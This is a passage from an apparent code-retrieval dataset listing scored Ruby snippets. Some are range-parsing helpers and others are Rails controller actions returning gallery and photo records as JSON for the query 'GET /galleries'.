"a913c9d1678722e26246442065b23cb0", "score": "0.63327754", "text": "def parse_range(str)\n\n if str == '-'\n from = 1; to = $NumLines\n elsif str == '$'\n from = to = $NumLines\n elsif !str.include?('-') # like 87\n from = to = str\n else # it includes '-'\n p = str.index('-') # find the position of '-'\n if p == 0 # like -23\n from = 1\n to = str[1...str.size]\n elsif p == str.size - 1 # like 23-\n from = str[0...p]\n to = $NumLines\n else # like 23-156\n from = str[0,p] \n to = str[(p+1)...str.size]\n end\n end\n\n from = $NumLines if from == '$'\n to = $NumLines if to == '$'\n\n from = from.to_i if from.kind_of? String\n to = to.to_i if to.kind_of? String\n\n abort(\"Invalid range\\n\") if from <= 0 or to <= 0\n abort(\"Invalid range\\n\") if from > $NumLines or to > $NumLines\n\n return from,to\nend", "title": "" }, { "docid": "052adb608cb223fff9183ab244a63b65", "score": "0.6330836", "text": "def age_range_display\n return \"\" if age_range.nil?\n return \"13-19\" if age_range == 15\n return \"75+\" if age_range == 75\n\n \"#{age_range}-#{age_range + 4}\"\n end", "title": "" }, { "docid": "00c581db477e505ec6c509a46812ab2d", "score": "0.63065326", "text": "def stringify(range)\n r = range.to_a\n @strings = []\n r.each do |num|\n @strings.push(num.to_s)\n end\n return @strings\n end", "title": "" }, { "docid": "37879a0481ab32cbd30ebac67a4a4bcf", "score": "0.6290039", "text": "def gen_list(range)\n range = range.split('-')\n\n if range[1].size > 5\n puts \"[!]\" + \"From #{range[0]} to #{range[1]} would take very long time! please use size <= 5\"\n exit(0)\n end\n\n (range[0]..range[1]).to_a\n end", "title": "" }, { "docid": "072c2f6ba0e062bc95b42c2434813a6c", "score": "0.6287273", "text": "def to_range(array)\n\t\n\tputs \"[#{array[0]}, #{array[-1]}]\"\nend", "title": "" }, { "docid": "f6b8b5c3f9d5de32e8b208a3310ab7fb", "score": "0.62871474", "text": "def str_range(str)\n # your code goes here\n # print str.split(\",\").map{ |n| n.to_i}\n range(str.split(\",\").map{ |n| n.to_i})\nend", "title": "" }, { "docid": "622095dc50d2e92325812829f5cd5cef", "score": "0.62722063", "text": "def range(startNum, endNum)\n return [] if endNum < startNum\n\n return [startNum] if startNum + 1 == endNum\n\n [startNum] + range(startNum + 1, endNum)\nend", "title": "" }, { "docid": "ef4ba96ea9ace4075256bcf712f6a565", "score": "0.6226572", "text": "def parse_range(range)\n if range.is_a? Range\n range\n else\n range = range.to_s.split '..'\n ((range.size == 1) ? '' : range.first)..range.last\n end\n end", "title": "" }, { "docid": "a536b94ec97ea45ee4ef6067d7c014ca", "score": "0.62156075", "text": "def summary_ranges_2 nums\r\n nums.slice_when do |elt_before, elt_after|\r\n elt_before + 1 != elt_after\r\n end.map do |first, *, last|\r\n last ? \"#{first}->#{last}\" : \"#{first}\"\r\n end\r\nend", "title": "" }, { "docid": "f2f20a9053654641f1f3300d7f8190e2", "score": "0.62124944", "text": "def range(start, last)\n return [] if start > last\n return [start] if start == last - 1\n [start] + range(start+1, last)\nend", "title": "" }, { "docid": "9d61f08a0b1d1e10d5f89596a5555933", "score": "0.62064946", "text": "def str_range(str)\n arr = str.split(\",\").map{|i| i.to_i}\n arr.max.abs - arr.min.abs\nend", "title": "" }, { "docid": "82f1c3c995519c056a715f8c8024e0fc", "score": "0.6194403", "text": "def i_range(startt, endd)\n range = []\n while startt < endd\n range << startt\n startt += 1\n end\n range\nend", "title": "" }, { "docid": "5aabdd5dc1f5a1c7c3bd3b1d2022ce28", "score": "0.61904967", "text": "def range(start_num, end_num)\n return [] if end_num < start_num\n prev_range = range(start_num, end_num - 1)\n prev_range.concat([end_num])\nend", "title": "" }, { "docid": "ded5aa9d0504ec6df126e10051081a6b", "score": "0.61830664", "text": "def range(start_num, end_num)\n # range1(start_num, end_num)\n range2(start_num, end_num)\nend", "title": "" }, { "docid": "46a5c55715245f2dd250e51c61fc415b", "score": "0.6173627", "text": "def range(start_num, end_num)\n return [] if end_num < start_num\n return [start_num] if end_num - start_num == 1\n result = [start_num]\n result + range(start_num + 1, end_num)\nend", "title": "" }, { "docid": "8917d508f039a8e52d66d70acabb6740", "score": "0.6172235", "text": "def range(input); end", "title": "" }, { "docid": "aafe84fe110e87c29521ad7e3e46c998", "score": "0.61698467", "text": "def str_range(str)\n arr = str.split(\",\").map!(&:to_i)\n arr.max - arr.min\nend", "title": "" }, { "docid": "43c7c44513c3efc0453e9837a7dfcae9", "score": "0.61643744", "text": "def to_range\n beginning..ending\n end", "title": "" }, { "docid": "6610682b9a5cc0d4c4f43713ccc76fde", "score": "0.6158679", "text": "def parse_range(range)\n unless range.is_a? Range\n range = range.to_s.split '..'\n range = ((range.size == 1) ? '' : range.first)..range.last\n end\n\n range = id_for_ref(range.first)..range.last if range.first != ''\n range.first..id_for_ref(range.last)\n end", "title": "" }, { "docid": "99b536ac074e7f34c66449187ac47228", "score": "0.61450934", "text": "def str_range(str)\n arr = str.split(',').map(&:to_i)\n arr.max - arr.min\nend", "title": "" }, { "docid": "b8b697eade173ceb68cb1e5189ad3938", "score": "0.6139344", "text": "def date_range\n result = \"\"\n result << (start_date.nil? ? \"Unknown\" : start_date.to_s(:long) )\n result << \" and \"\n result << (end_date.nil? ? \"Unknown\" : end_date.to_s(:long) )\n result\n end", "title": "" }, { "docid": "cb638096ba1b4caf25385e62fcff8ad4", "score": "0.61380494", "text": "def str_range(str)\n range(str.split(',').map{ |num_str| num_str.to_i})\nend", "title": "" }, { "docid": "3c7b1505432e7ed2cf8cc1dd7c0e38d5", "score": "0.61359113", "text": "def constraint_validation_int_range(arg)\n arg =~ /(\\d+)\\.\\.(\\.)?(\\d+)/\n Range.new($1.to_i, $3.to_i, $2 == '.')\n end", "title": "" }, { "docid": "24343e174d29f392192d26d7e69855dd", "score": "0.61132073", "text": "def range_formatting; end", "title": "" }, { "docid": "5b6aaa00d377fb3adf6e8d58cc74dbd6", "score": "0.6112583", "text": "def formatted_range(wells)\n WellSorterService.formatted_range(wells, DEFAULT_SIZE)\n end", "title": "" }, { "docid": "5b6aaa00d377fb3adf6e8d58cc74dbd6", "score": "0.6112583", "text": "def formatted_range(wells)\n WellSorterService.formatted_range(wells, DEFAULT_SIZE)\n end", "title": "" }, { "docid": "bb38d28a46c2a2de0a63a1ed405986d8", "score": "0.61124223", "text": "def range(start, finish)\n # base case\n return nil if finish < start\n return [finish] if start == finish\n # inductive step\n all_numbers = [start]\n all_numbers.concat(range(start + 1, finish))\n all_numbers\nend", "title": "" }, { "docid": "526fd8fa4e56c5ae7b1c8cf6158d0885", "score": "0.611142", "text": "def str_range(str)\n str = str.split(\",\")\n str.max.to_i - str.min.to_i\nend", "title": "" }, { "docid": "710ddbe52f03a021d6655bd51a7f72fa", "score": "0.6106149", "text": "def range(start_num, end_num)\n\tnums = []\n\n\treturn nums if end_num < start_num\n\t(start_num..end_num).each { |num| nums << num }\n\n\tnums\nend", "title": "" }, { "docid": "fe0d17bdb173bbd85c47c70881d1bb9f", "score": "0.6088748", "text": "def age_range_display\n return \"\" if age_range.nil?\n\n \"#{age_range}-#{age_range + 4}\"\n end", "title": "" }, { "docid": "af6e4aab2659c5f919d671eb4c89dc9e", "score": "0.60851395", "text": "def demilitarize_range(range)\n parts = range.split(\"-\")\n return \"#{demilitarize_hour(parts[0])} - #{demilitarize_hour(parts[1])}\"\n end", "title": "" }, { "docid": "b194f44d1e383173c4dc24282efdecad", "score": "0.60813355", "text": "def colored_pages_range_string\n output = []\n @colored_pages.to_ranges.each do |range|\n range_array = range.to_a\n if range_array.length > 1\n output.push \"#{range_array.first}-#{range_array.last}\"\n else\n output.push range_array.first.to_s\n end\n end\n output.join(',')\n end", "title": "" }, { "docid": "3d4da04a65488b3302d2477ad5f6bf1d", "score": "0.6079255", "text": "def range(first_, last_)\n [first_, last_]\n end", "title": "" }, { "docid": "6240afc96c7c008198bb843c03bed52e", "score": "0.60710335", "text": "def summary_ranges(nums)\n nums.reduce([]) { |acc, x|\n if acc.empty? || acc.last.last + 1 != x\n acc << [x, x]\n else\n acc << [acc.pop.first, x]\n end\n }.map { |x|\n x.first == x.last ? x.first.to_s : \"#{x.first}->#{x.last}\"\n }\nend", "title": "" }, { "docid": "5659471cfd1a14b5ae13edfd9309ec18", "score": "0.6059811", "text": "def range(start, ending)\n\n return [] if ending < start\n\n arr = (start...ending).to_a\n\n\n return arr if arr.length <= 1\n\n [start] + range(start + 1, ending)\n\nend", "title": "" }, { "docid": "8bcbdd132ad9b38377990a16a334458b", "score": "0.60579276", "text": "def range\n return unless bounded?\n\n if exclude_end?\n start_at...end_at\n else\n start_at..end_at\n end\n end", "title": "" }, { "docid": "0f91015fa1db799a06772bd2333340ff", "score": "0.60540944", "text": "def range(input)\n return auto_range(@match[1] || \"+\") unless input\n\n b, e = parse_range(input)\n raise(\"Invalid line range\") unless valid_range?(b, e)\n\n [b, e]\n end", "title": "" }, { "docid": "70f06e84539c6417c4bb7e677690e57c", "score": "0.6048602", "text": "def range(min, max)\n return [min] if min == max\n [min] + range(min+1, max)\nend", "title": "" }, { "docid": "ebb6116739dbf11a31a1756b5a88b1c5", "score": "0.60432804", "text": "def string_to_range\n my_temp_range = file[2].delete(\"(\" \")\").split(\", \")\n my_temp_range.map! {|element| element.to_i}\n\n my_temp_range[0]..my_temp_range[1]\n end", "title": "" }, { "docid": "bdf41b89c70d8ba7299ee43d87e7d0cf", "score": "0.6041913", "text": "def display_price_range(j = ' to ')\n price_range.join(j)\n end", "title": "" }, { "docid": "b733f8c7f61926776ef376f5d4ebac6e", "score": "0.603423", "text": "def build_range(p_first, p_last)\n\t\t\t\t\"#{p_first[:column]}#{p_first[:row]}:#{p_last[:column]}#{p_last[:row]}\"\n\t\t\tend", "title": "" }, { "docid": "50161d3a3ad6c937c1bf9b04df7f497e", "score": "0.60339904", "text": "def range(start_range, end_range)\n return [start_range] if start_range == end_range\n\n range(start_range, end_range - 1 ) << end_range\nend", "title": "" }, { "docid": "34a2c9276a0dca3b1f6e69668a51b3e0", "score": "0.60270166", "text": "def build_numbers(start, low, max, length)\n ans = \"\"\n for i in start..(start+length-1)\n ans << i.to_s\n end\n ans = ans.to_i\n if ans > max\n return -1\n elsif ans < low\n return 0\n else\n return ans\n end\nend", "title": "" }, { "docid": "ae9479ae8fb79cc02b2026b9b2151957", "score": "0.60220635", "text": "def range(start_range, end_range)\n return [] if end_range <= start_range\n range(start_range, end_range - 1) << end_range - 1\nend", "title": "" }, { "docid": "ad5ce44d90573aee8e1c97a0190b18ed", "score": "0.6011582", "text": "def test_range_calculator_start_negative_integer\n actual = @range_calculator.calculate_range(-10, 7, [-4, 1, 5, 7])\n expected = %w[-10--5 -3-0 2-4 6]\n assert_equal(expected, actual)\n end", "title": "" }, { "docid": "4659fe75fa8f559e58763054ef91d7b2", "score": "0.60064733", "text": "def list_range(ell, range)\n ell.select{|l| range.include?(l) }.compact\n end", "title": "" }, { "docid": "626efed3ef389d3f93a7ff92dced5200", "score": "0.60041624", "text": "def sublist_range(range)\n f = range.first\n l = range.exclude_end? ? range.last - 1 : range.last\n sublist_span(f, l - f + 1)\n end", "title": "" }, { "docid": "ca60fb5d8cc2c081080c27b8c8dec130", "score": "0.59995025", "text": "def range(start, last)\n return [] if start >= last\n \n next_num = start + 1\n [start, *range(next_num, last)]\n\nend", "title": "" }, { "docid": "e4e6f5ebd1921a7099cff2794b1f2bdb", "score": "0.59965897", "text": "def rewrite_range(values)\n if values.size == 3 and values[1].to_s == '..'\n new_values = Array.new\n for i in values[0].to_s.to_i..values[2].to_s.to_i\n new_values.push(i.to_s)\n end\n values = new_values\n end\n values\n end", "title": "" }, { "docid": "d570a62abf3eb1307d7c137a7abb97bf", "score": "0.598761", "text": "def ranges_string\n update_sequence_info! if self[:ranges_string].nil?\n self[:ranges_string]\n end", "title": "" }, { "docid": "6b0875514c36272c61ad094e0993f768", "score": "0.5986838", "text": "def create_list(range)\n if range.is_a? Array\n arr = []\n min = range[0]\n max = range[1]\n (min..max).step(1) do |i|\n arr.push(i)\n end\n arr\n else\n range\n end\n end", "title": "" }, { "docid": "9b08bf7229e89a24053944eca0877096", "score": "0.5974401", "text": "def solution(numbers)\n results = []\n current_range = ''\n \n numbers.each_with_index do |num, idx|\n if index == 0 || (numbers[idx + 1] - num != 1 && num - numbers[idx - 1] != 1)\n results << num.to_s\n else\n \n end\n \n end\nend", "title": "" }, { "docid": "9b418ed2fa04dcd2dbc98fa24904df8c", "score": "0.5952398", "text": "def get_range\n range = \"s\" + @low_sensitivity.to_s\n if (@low_sensitivity != @high_sensitivity)\n range = range + \"-s\" + @high_sensitivity.to_s\n end\n if [email protected]?\n range = range + \":\"\n index = 0\n while index < @categories.length\n if (index != 0)\n range = range + \",\"\n end\n\n low = @categories[index]\n low_index = index\n high = @categories[index]\n index += 1\n while (@categories[index] == low + (index - low_index))\n high += 1\n index += 1\n end\n\n if (low == high)\n range = range + \"c\" + low.to_s\n else\n range = range + \"c\" + low.to_s + \".c\" + high.to_s\n end\n end\n end\n range\n end", "title": "" }, { "docid": "4b60d389bf504478cb2cc5e93e90cdc4", "score": "0.5950332", "text": "def range(min, max)\n\tprint (min..max).to_a\nend", "title": "" }, { "docid": "92bf56a50bb4c04bc3168eac4bf7242a", "score": "0.59493256", "text": "def str_range(str)\n # your code goes here\n str = str.split(',').map{|num| num.to_i}\n return str.max-str.min\nend", "title": "" }, { "docid": "3712d3ef0e3b3e364834347ec0318b8f", "score": "0.5949028", "text": "def str_range(str)\n str_arr = str.split(\",\")\n new_arr = str_arr.map { |ele| ele.to_i}\n return new_arr.max - new_arr.min\nend", "title": "" }, { "docid": "c25ac9e59f73764048c93200a83f2f71", "score": "0.59486735", "text": "def find_ranges(array)\n length = array.length\n ranges = []\n \n front = 0\n back = 0\n \n while front < length\n if array[back + 1] == array[back] + 1\n back += 1\n elsif front == back\n ranges << array[front]\n front = back + 1\n back = front\n else\n ranges << \"#{array[front]}-#{array[back]}\"\n front = back + 1\n back = front\n end\n end\n \n return ranges.join(\", \")\nend", "title": "" }, { "docid": "6fc75df3c474f2abcf093eeec74abfa3", "score": "0.59485817", "text": "def str_range(str)\n str_arr = str.split(\",\")\n str_arr.sort!\n str_arr[-1].to_i - str_arr[0].to_i\n # your code goes here\nend", "title": "" }, { "docid": "13365afde9d84204e3b3a19f69b31f3b", "score": "0.59225416", "text": "def range(min, max)\n result = []\n i = 0\n while i <= max\n if i >= min && i <= max\n result << i\n end\n i += 1\n end\n result\nend", "title": "" }, { "docid": "a22493138e59228f67829bce26b461c8", "score": "0.5918256", "text": "def output\n range.each { |number| puts format(number) }\n end", "title": "" }, { "docid": "d73853a3bbe4f181fece051fd9968ebd", "score": "0.5916716", "text": "def range( start, stop )\n list = []\n start.upto stop do | number |\n list.push number\n end\n list\nend", "title": "" }, { "docid": "34ab129b89b4b7ceb3ace6925ea53e28", "score": "0.5913816", "text": "def range num, bounds\n bits = @spec.split \":\", 2\n s = bits.size == 1 ? @spec : bits[0]\n e = bits.size == 1 ? @spec : bits[1]\n range_start(num, bounds, s) .. range_end(num, bounds, e)\n end", "title": "" }, { "docid": "33596ecb47367c1fbe6b3f6a2effaf35", "score": "0.59085274", "text": "def find_range(user_number)\n if user_number <= 50\n range = \"Your number is in this range: 1 - 50\"\n elsif user_number <= 100\n range = \"Your number is in this range: 51 - 100\"\n else \n range = \"Your number is in this range: 101 - infinity\"\n end\nend", "title": "" }, { "docid": "fbf90d16adcabeae86c1f63d271e4e59", "score": "0.5901253", "text": "def str_range(str)\n # your code goes here\n sorted_array = str.split(\",\").sort\n sorted_numbers = sorted_array.each { |number| number.to_i }\n (sorted_numbers[0]..sorted_numbers[-1]).to_a.length - 1\nend", "title": "" }, { "docid": "9e59589d4851e507bf71c03f1ee14854", "score": "0.5899665", "text": "def str_range(str)\n arr = str.split(\",\").sort\n return arr.last.to_i - arr.first.to_i\nend", "title": "" }, { "docid": "2a482a81f08b0d05ad42097298330b8f", "score": "0.58812696", "text": "def range(start, ending) #(1,3) #=> [1,2]\n return [] if ending < start\n return [start] if ending == start || ending - 1 == start\n range(start, ending-1) << ending - 1 #=> [1] << 2\nend", "title": "" }, { "docid": "b47eb258df1a9198b8ff78bebb8e1bcd", "score": "0.5878634", "text": "def ranges(flat_args)\n ranges = stringify_range_bounds flat_args.select(&Range.method(:===))\n ranges = remove_subranges explode_multi_case_ranges ranges\n\n merge_ranges(ranges.select(&method(:numeric_range?))) +\n merge_ranges(ranges.select(&method(:character_range?)))\n end", "title": "" }, { "docid": "1222b09244242f562165ccff6212474b", "score": "0.58785474", "text": "def range(start_num, end_num)\n (start_num+1...end_num).to_a\nend", "title": "" }, { "docid": "6db3ee4bf78907a9bd898ea47eb3e74f", "score": "0.58711386", "text": "def range1(num)\n case num\n when > 100\n puts \"100+\"\n when 51 < num > 101\n puts \"51 - 100\"\n when 0 < num > 50\n puts \"0 - 50\"\n else\n \"Pick a different number.\"\n end\nend", "title": "" }, { "docid": "838f1026aecc658de63428bfca6944f9", "score": "0.58687556", "text": "def array_to_constant_range(array)\n min = FIXNUM_MAX\n max = FIXNUM_MIN\n array.each do |o|\n min = o.id if min > o.id\n max = o.id if max < o.id\n end\n min.to_s + '..' + max.to_s\n end", "title": "" }, { "docid": "f77d4b120e65f990ee60eeeb593a6ef0", "score": "0.58678466", "text": "def ip_range(subnet, range)\n\n subnet = subnet.to_a # Turn subnet into array representation to be DRY\n\n case range\n when Integer\n raise Kite::Error, 'Range number less than one in ip_range()' if range < 1\n\n subnet[0].to_s + '-' + subnet[range].to_s\n\n when Array\n raise Kite::Error, 'Invalid number of elements in ip_range()' unless range.length == 2\n raise Kite::Error, 'Second index is less than the first one in ip_range()' if range.last < range.first\n\n subnet[range.first].to_s + '-' + subnet[range.last].to_s\n\n when Range\n raise Kite::Error, 'Second index is less than the first one in ip_range()' if range.last < range.first\n\n range = range.to_a\n subnet[range.first].to_s + '-' + subnet[range.last].to_s\n\n else\n raise Kite::Error, 'Unsupported range type for ip_range()'\n end\n end", "title": "" } ]
73b40d5f49c211263b00e7ddcb22d695
GET /galleries GET /galleries.json
[ { "docid": "29d2d8a717820e50a18cbf89b3a15146", "score": "0.0", "text": "def index\n @galleries = Gallery.chronological.order(:name).paginate(:page => params[:page])\n end", "title": "" } ]
[ { "docid": "6694330a3b8825be16bed3ca60ad03c3", "score": "0.8698901", "text": "def galleries\n get(FinerWorks::Gallery, \"/Galleries\")\n end", "title": "" }, { "docid": "ea1969f104ef4289434158e802f63742", "score": "0.8372952", "text": "def index\n \n @galleries = @user.galleries\n\n respond_to do |format|\n \n format.html # index.html.erb\n format.json { render json: @galleries }\n \n end\n \n end", "title": "" }, { "docid": "23ffcc5afdb3d316579b1cd63a6c9026", "score": "0.80205166", "text": "def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end", "title": "" }, { "docid": "83ea9f9c0bdd802fc092cadf92b132bb", "score": "0.8002053", "text": "def index\n @galleries = Gallery.all\n\n render json: @galleries, each_serializer: Web::V1::GallerySerializer\n end", "title": "" }, { "docid": "c56fecc67ecdb974e6a40e07cfe3b359", "score": "0.7955262", "text": "def show\n \n @gallery = @user.galleries.find(params[:id])\n\n respond_to do |format|\n \n format.html # show.html.erb\n format.json { render json: @gallery }\n \n end\n \n end", "title": "" }, { "docid": "f575ad0a0068c62a652efa7f08db99fd", "score": "0.77285326", "text": "def index\n @gallery = @user.gallery\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "35c57348441d09ddd53dc617595760c8", "score": "0.7718801", "text": "def show\n render json: @gallery\n end", "title": "" }, { "docid": "8264bf5a9cfa2c5289eb25b7f6c6e16b", "score": "0.77167183", "text": "def index\n @galleries = Gallery.page params[:page]\n respond_with @galleries\n end", "title": "" }, { "docid": "8c8d1f0e6cbe4cdcbd626c5f3ede9547", "score": "0.77099705", "text": "def index\n \n @photos = @gallery.photos\n\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @photos }\n \n end\n \n end", "title": "" }, { "docid": "49bd18c63c9471c464923d4f9968ec2b", "score": "0.77018726", "text": "def index\n @gallery = Gallery.find(params[:gallery_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "title": "" }, { "docid": "cbf5791e0bdf615d34ab75732a7cb332", "score": "0.7661327", "text": "def galleries\n raise Fotolia::LoginRequiredError unless @fotolia.logged_in?\n\n res = @fotolia.remote_call('getUserGalleries', @fotolia.session_id)\n\n res.collect{|g| Fotolia::Gallery.new(@fotolia, g)}\n end", "title": "" }, { "docid": "17656936558a8c3a46d3385e30f1096f", "score": "0.76585543", "text": "def show\r\n @gallery = Gallery.find(params[:id])\r\n @pictures = @gallery.pictures\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @gallery }\r\n end\r\n end", "title": "" }, { "docid": "61fcd270a63903af1280cf7010525808", "score": "0.7641043", "text": "def show\n @gallery = Gallery.find(params[:id])\n @photographer = Photographer.find(@gallery.photographer_id)\n @photos = Photo.where(:gallery_id => @gallery.id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "78bbd095b2e47de79ac12eb594bd58ad", "score": "0.76151663", "text": "def index\n @photos = @gallery.photos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "title": "" }, { "docid": "d01aa123db6dbe16b52862c69385a7a6", "score": "0.7571378", "text": "def show\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "d01aa123db6dbe16b52862c69385a7a6", "score": "0.7571378", "text": "def show\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "8447e3ec9abf7c3cdeabb26a11f7d44c", "score": "0.7519605", "text": "def gallery\n @gallery ||= data.fetch('gallery')\n end", "title": "" }, { "docid": "9122096e6423377b0574b4184a11904e", "score": "0.74910516", "text": "def show\n render json: @gallery, serializer: Web::V1::GallerySerializer\n end", "title": "" }, { "docid": "322a8278fadc747b02174860f1eba86e", "score": "0.74809384", "text": "def show\n @gallery = @user.gallery\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "73c99e47649c245f734cd11bb91fc0e4", "score": "0.7473441", "text": "def gallery\n @layout = params[:layout] && params[:layout].to_s || 'masonry'\n page = params[:page] && params[:page].to_i || 20\n page_size = params[:page_size] && params[:page_size].to_i || 12\n @flickr = FlickrClient.new.fetch(page: page, page_size: page_size)\n respond_to do |format|\n format.html\n format.json do\n render json: @flickr\n end\n end\n end", "title": "" }, { "docid": "0c65b85738a4ca557bb26f3bf2cbd8d4", "score": "0.74692374", "text": "def get_galleries\n @galleries = current_user.galleries\n end", "title": "" }, { "docid": "f6436dcdc3ed608f3c170ebe1cf58569", "score": "0.74588674", "text": "def index\n # byebug\n page_opts = {\n :page => params[:page] || 1,\n :per_page => params[:perPage] || 10\n }\n\n # if the field to be sorted by is not a string (ie not id) then make case insensitive\n if params[:order].present?\n if params[:order] != 'id' && params[:order] != '-id'\n order_lower_start = 'lower('\n order_lower_end = ')'\n else\n order_lower_start = order_lower_end = ''\n end\n order = params[:order].first == '-' ?\n order_lower_start + params[:order][1..-1] + order_lower_end + ' DESC' :\n order_lower_start + params[:order] + order_lower_end + ' ASC'\n else\n order = 'lower(name) ASC'\n end\n\n @galleries = Gallery.all.paginate(page_opts).order(order)\n render json: @galleries\n end", "title": "" }, { "docid": "88651f1f779e8f793630dcc9aa5845c6", "score": "0.74365973", "text": "def index\n @photos = @gallery.photos.order(\"id ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end", "title": "" }, { "docid": "f6a05aed2bc70311060cc11fc79927b1", "score": "0.742423", "text": "def show\n #@gallery = Gallery.find(params[:gallery_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "653a77203cab8deade7b3f14f4d9b8b4", "score": "0.73978215", "text": "def index\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "653a77203cab8deade7b3f14f4d9b8b4", "score": "0.73978215", "text": "def index\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "653a77203cab8deade7b3f14f4d9b8b4", "score": "0.73978215", "text": "def index\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "653a77203cab8deade7b3f14f4d9b8b4", "score": "0.73978215", "text": "def index\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "653a77203cab8deade7b3f14f4d9b8b4", "score": "0.73978215", "text": "def index\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "653a77203cab8deade7b3f14f4d9b8b4", "score": "0.73978215", "text": "def index\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "dc5fcf11ca2ba5aa40ac295388df7c8e", "score": "0.733707", "text": "def show\n @galleries = Gallery.all\n end", "title": "" }, { "docid": "fa0c3551aad1f4ecfc9b4a265a51382c", "score": "0.73226804", "text": "def index\n @customer_galleries = CustomerGallery.all\n\n render json: @customer_galleries\n end", "title": "" }, { "docid": "fa0c3551aad1f4ecfc9b4a265a51382c", "score": "0.73226804", "text": "def index\n @customer_galleries = CustomerGallery.all\n\n render json: @customer_galleries\n end", "title": "" }, { "docid": "760f40a3bb693031b151c40eb98c8e31", "score": "0.7316269", "text": "def show\n @gallery = Gallery.find(params[:id])\n #@images = GalleryImage.find(@gallery.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "986db5c9749bf7c2d5c0813701a94138", "score": "0.7312105", "text": "def index\n\t\t@galleries = current_user.galleries\n\tend", "title": "" }, { "docid": "310d8280ac811d6d18418418fafdbdd0", "score": "0.73073083", "text": "def index\n @web_car_galleries = WebCarGallery.all\n\n render json: @web_car_galleries\n end", "title": "" }, { "docid": "ddb1729328683b26b9b7bc543f5058bb", "score": "0.72945887", "text": "def show\n @photo_gallery = PhotoGallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo_gallery }\n end\n end", "title": "" }, { "docid": "05af767394265f61c43370bf0129ce56", "score": "0.7293953", "text": "def galleries\n \n end", "title": "" }, { "docid": "3863f0bf5ed374246e3b8a4fbd82fb6c", "score": "0.727358", "text": "def show\n \n @photo = @gallery.photos.find(params[:id])\n\n respond_to do |format|\n\n format.html # show.html.erb\n format.json { render json: @photo }\n \n end\n \n end", "title": "" }, { "docid": "c60aa19ba32cbda7bc323f71e1302b4a", "score": "0.72682375", "text": "def show\n @photo_gallery = PhotoGallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @photo_gallery }\n end\n end", "title": "" }, { "docid": "dadc5023d8fa60ab0ea4b4c628b65c0b", "score": "0.7264417", "text": "def show\n @photo_gallery = PhotoGallery.find(params[:id])\n \n @photos = Array.new\n @photos_json = Array.new\n \n @photo_gallery.tags.each do |tag|\n tag.photos.each do |photo|\n photo[:path_small] = photo.image.url(:small)\n photo[:path_medium] = photo.image.url(:medium)\n photo[:path_large] = photo.image.url(:large)\n @photos.push(photo);\n end\n end\n \n @photos = @photos.flatten\n \n @gallery = {\n :id => @photo_gallery.id,\n :name => @photo_gallery.name,\n :photos => @photos\n }\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { @gallery }\n end\n end", "title": "" }, { "docid": "9e5591ddcb6b430951697add649f6e43", "score": "0.72541726", "text": "def gallery(gallery_name)\n response = connection.get(\"galleries/#{gallery_name}\")\n return_error_or_body(response, response.body.gallery)\n end", "title": "" }, { "docid": "804e4397e674d31783072c88bc7ec4e6", "score": "0.7231825", "text": "def show\n render json: @gallery_photo\n end", "title": "" }, { "docid": "abd276a2bb025709e638a1eb449555d3", "score": "0.7182451", "text": "def index\n @galleries = Slider::Gallery.all\n end", "title": "" }, { "docid": "72e24f3fc61d8435196e63df146c20bb", "score": "0.7178344", "text": "def show\n @gallery = Gallery.find(params[:id])\n respond_with @gallery\n end", "title": "" }, { "docid": "048ae7a26faf29bf00ef51cf0da6e2f6", "score": "0.7144761", "text": "def get_gallery\n @gallery = Gallery.find(params[:gallery_id])\n end", "title": "" }, { "docid": "eccf94a25cf2c22efc7c6c3fbe404527", "score": "0.7134353", "text": "def gallery_list_all\n # ToDo: Research why Typhoeus works better than Faraday for this endpoint\n request = Typhoeus::Request.new(\n \"#{Kairos::Configuration::GALLERY_LIST_ALL}\",\n method: :post,\n headers: { \"Content-Type\" => \"application/x-www-form-urlencoded\",\n \"app_id\" => \"#{@app_id}\",\n \"app_key\" => \"#{@app_key}\" }\n )\n response = request.run\n JSON.parse(response.body) rescue \"INVALID_JSON: #{response.body}\"\n end", "title": "" }, { "docid": "a45d134cef6f0bf7dda85b936a39f5ca", "score": "0.71272886", "text": "def index\n @galleries = Gallery.all\n attr_hash = {\n :include => :images,\n :only => [ :id, :handle, :created_at, :updated_at ]\n }\n \n respond_to do |format|\n format.html { render }\n format.js { render :partial => '/admin/galleries/excerpt', :collection => @galleries }\n format.xml { render :xml => @galleries.to_xml(attr_hash) }\n format.json { render :json => @galleries.to_json(attr_hash) }\n end\n end", "title": "" }, { "docid": "ac092a6302a293db5846d60f076e8509", "score": "0.7073865", "text": "def new\n \n @gallery = @user.galleries.build\n\n respond_to do |format|\n \n format.html # new.html.erb\n format.json { render json: @gallery }\n \n end\n \n end", "title": "" }, { "docid": "2a9f730e92e9a957114a5d023d86185d", "score": "0.70617497", "text": "def show\n @gallery = Gallery.find(params[:id])\n 